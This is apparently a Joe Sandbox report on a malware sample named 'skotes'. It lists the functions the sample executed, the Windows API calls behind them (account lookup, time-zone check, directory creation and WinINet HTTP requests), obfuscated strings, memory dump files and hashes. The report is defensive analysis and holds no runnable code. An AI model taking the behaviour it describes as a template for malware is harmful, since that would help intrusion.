Signature Coverage:	4.4%
Total number of Nodes:	845
Total number of Limit Nodes:	58

Executed Functions

Function 0017E530 Relevance: 23.7, APIs: 2, Strings: 11, Instructions: 998
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

MQ==, xrefs: 0017E592
#, xrefs: 00180624
WTw=, xrefs: 0018097D
WTs=, xrefs: 001805CA
GnNoc2Hc, xrefs: 0017E56C
246122658369, xrefs: 0017F737, 0017FA14, 001805E7, 0018099A
111, xrefs: 0017F7A0
UA==, xrefs: 0017EB0F, 0017ED56
9c9aa5, xrefs: 0017FB8E
MGE+, xrefs: 0017E821
WDw=, xrefs: 0017F71D, 0017F9FA

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID:
String ID: #$111$246122658369$9c9aa5$GnNoc2Hc$MGE+$MQ==$UA==$WDw=$WTs=$WTw=
API String ID: 0-2571795437
Opcode ID: 363d43d3412a9595aff447273a0c8cd2007ee17a3b717831b096e7a02a2007a7
Instruction ID: e4e082522a602cfea78a22bc98e509fef0879a8be38a63d6f1cbc6c6314750a6
Opcode Fuzzy Hash: 363d43d3412a9595aff447273a0c8cd2007ee17a3b717831b096e7a02a2007a7
Instruction Fuzzy Hash: 0282E270900288DBEF15EF68C9997DE7FB6AB15304F608189E815273C2D7759B88CBD2

Function 001765E0 Relevance: 7.3, APIs: 1, Strings: 3, Instructions: 257
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LookupAccountNameA.ADVAPI32(00000000,?,?,000000FF,?,?,?), ref: 00176680

Strings

RySfdMLx, xrefs: 0017669C
ISNmfV==, xrefs: 001767D1
GSTmfV==, xrefs: 00176728

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AccountLookupName
String ID: GSTmfV==$ISNmfV==$RySfdMLx
API String ID: 1484870144-2309319047
Opcode ID: 497cc582d2dba184f0fbae2848572845b67dccf69fbef9675d84c50bc044a22a
Instruction ID: 71c0049dfb920fec37de6b1f49bd4bc422badf083848281f3a3afa38ea4dea45
Opcode Fuzzy Hash: 497cc582d2dba184f0fbae2848572845b67dccf69fbef9675d84c50bc044a22a
Instruction Fuzzy Hash: 0A91C2B1A002189BDB29DB28CC85BEDB779EB45304F5085E9E51D97282DB309FC48FA5

Function 001B2517 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 374
timeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,001C6758), ref: 001B275C

Strings

Eastern Standard Time, xrefs: 001B27CB
Eastern Summer Time, xrefs: 001B27FA

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: InformationTimeZone
String ID: Eastern Standard Time$Eastern Summer Time
API String ID: 565725191-239921721
Opcode ID: b4b1a5c4e4b1416145ddc6d07a6e4722aed2ebb8502ba99784d920d6277c1618
Instruction ID: 401e7e148748dd2335e930de9e1ac316eeab4f0ab6b23e9f5bc80a06362dc94b
Opcode Fuzzy Hash: b4b1a5c4e4b1416145ddc6d07a6e4722aed2ebb8502ba99784d920d6277c1618
Instruction Fuzzy Hash: C1C16D75A00205AFDB25AF78CC41BEE7BF9EF66310F24445AE990D7291EB308E49CB50

Function 0017EB4E Relevance: 30.1, APIs: 3, Strings: 13, Instructions: 2131
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetFileAttributesA.KERNEL32(00000000), ref: 0017EB51
CreateDirectoryA.KERNEL32(00000000), ref: 0017EC83
GetFileAttributesA.KERNEL32(00000000), ref: 0017ED98

Strings

#, xrefs: 00180624
WTs=, xrefs: 001805CA
stoi argument out of range, xrefs: 001808C4
invalid stoi argument, xrefs: 001808B0
9c9aa5, xrefs: 0017FB8E
UA==, xrefs: 0017EC41, 0017ED56, 0017EF89, 0017F2CE
FisgLnsCZO1i, xrefs: 0017FF19
mxo1L0x, xrefs: 0017EE84
FCQgKF==, xrefs: 0017FEE4
246122658369, xrefs: 0017F737, 0017FA14, 0017FE00, 001805E7
111, xrefs: 0017F7A0
WDw=, xrefs: 0017F71D, 0017F9FA, 0017FDE3
GiQaT29tduF=, xrefs: 0017FEB6

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: AttributesFile$CreateDirectory
String ID: mxo1L0x$#$111$246122658369$9c9aa5$FCQgKF==$FisgLnsCZO1i$GiQaT29tduF=$UA==$WDw=$WTs=$invalid stoi argument$stoi argument out of range
API String ID: 1875963930-2267310118
Opcode ID: 61fadf83ba0953048476e6414db95f3b53cfb5837a621650f06e05f6f03b088d
Instruction ID: 230a564e3495dacf118e072476b92b3c1b9cf56f2097b9f6aa1444bd844d6087
Opcode Fuzzy Hash: 61fadf83ba0953048476e6414db95f3b53cfb5837a621650f06e05f6f03b088d
Instruction Fuzzy Hash: 57F25A71A001489BEB19EB38CD9979DBB72AF85304F24819CE409A73D6DB359BC4CF91

Function 0017BE30 Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 313
networkfilesleepCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(000005DC,5D7CF112,?,00000000), ref: 0017BEB8
InternetOpenW.WININET(001C8DC8,00000000,00000000,00000000,00000000), ref: 0017BEC8
InternetConnectA.WININET(00000000,?,00000050,00000000,00000000,00000003,00000000,00000001), ref: 0017BEEC
HttpOpenRequestA.WININET(?,00000000), ref: 0017BF35
HttpSendRequestA.WININET(?,00000000), ref: 0017BFF6
InternetReadFile.WININET(?,?,000003FF,?), ref: 0017C0A8
InternetReadFile.WININET(?,00000000,000003FF,?,?,00000000,?,?), ref: 0017C161
InternetCloseHandle.WININET(?), ref: 0017C187
InternetCloseHandle.WININET(?), ref: 0017C18F
InternetCloseHandle.WININET(?), ref: 0017C197

Strings

stoi argument out of range, xrefs: 0017E4EA
invalid stoi argument, xrefs: 0017E4F4
8HJUeIfzLo==, xrefs: 0017C3CB, 0017C623
8HJUeMD Lq5=, xrefs: 0017C465
RE1NXF==, xrefs: 0017BF0E

Memory Dump Source

Source File: 00000005.00000002.3347355073.0000000000171000.00000040.00000001.01000000.00000007.sdmp, Offset: 00170000, based on PE: true

Associated: 00000005.00000002.3347247173.0000000000170000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347355073.00000000001D2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347691261.00000000001D9000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347803468.00000000001DB000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3347915650.00000000001E5000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348044625.00000000001E6000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348150008.00000000001E7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348658595.0000000000348000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348731125.000000000034A000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000362000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348804265.0000000000370000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3348968279.0000000000372000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349024983.0000000000379000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349104706.0000000000384000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349175277.000000000038A000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349230913.000000000039F000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349291291.00000000003A0000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349371689.00000000003A9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349419527.00000000003B5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349541087.00000000003C9000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349588981.00000000003CF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349666944.00000000003D7000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349715903.00000000003D9000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349792201.00000000003DA000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349871674.00000000003E1000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3349968642.00000000003E2000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350032144.00000000003E5000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350103753.00000000003EC000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350180086.00000000003EF000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350276344.00000000003F0000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350360348.00000000003F2000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350439889.0000000000401000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350498030.0000000000403000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350570648.000000000040C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350651348.000000000040F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350716040.000000000042C000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000042D000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350766876.000000000044F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350911535.000000000047F000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3350959485.0000000000480000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351008015.0000000000485000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351079118.0000000000487000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351572325.0000000000495000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000005.00000002.3351632084.0000000000496000.00000080.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_170000_skotes.jbxd

Yara matches

Similarity

API ID: Internet$CloseHandle$FileHttpOpenReadRequest$ConnectSendSleep
String ID: 8HJUeIfzLo==$8HJUeMD Lq5=$RE1NXF==$invalid stoi argument$stoi argument out of range
API String ID: 1439999335-885246636
Opcode ID: 2e11f0b50d3c968e355d74a988f8a3b9dd34baed7beb09fec80ca982d915051f
Instruction ID: e7437b39e662b2d1e1e33d4b32f50d19247eb53514d772446a9de09a5bc9e348
Opcode Fuzzy Hash: 2e11f0b50d3c968e355d74a988f8a3b9dd34baed7beb09fec80ca982d915051f
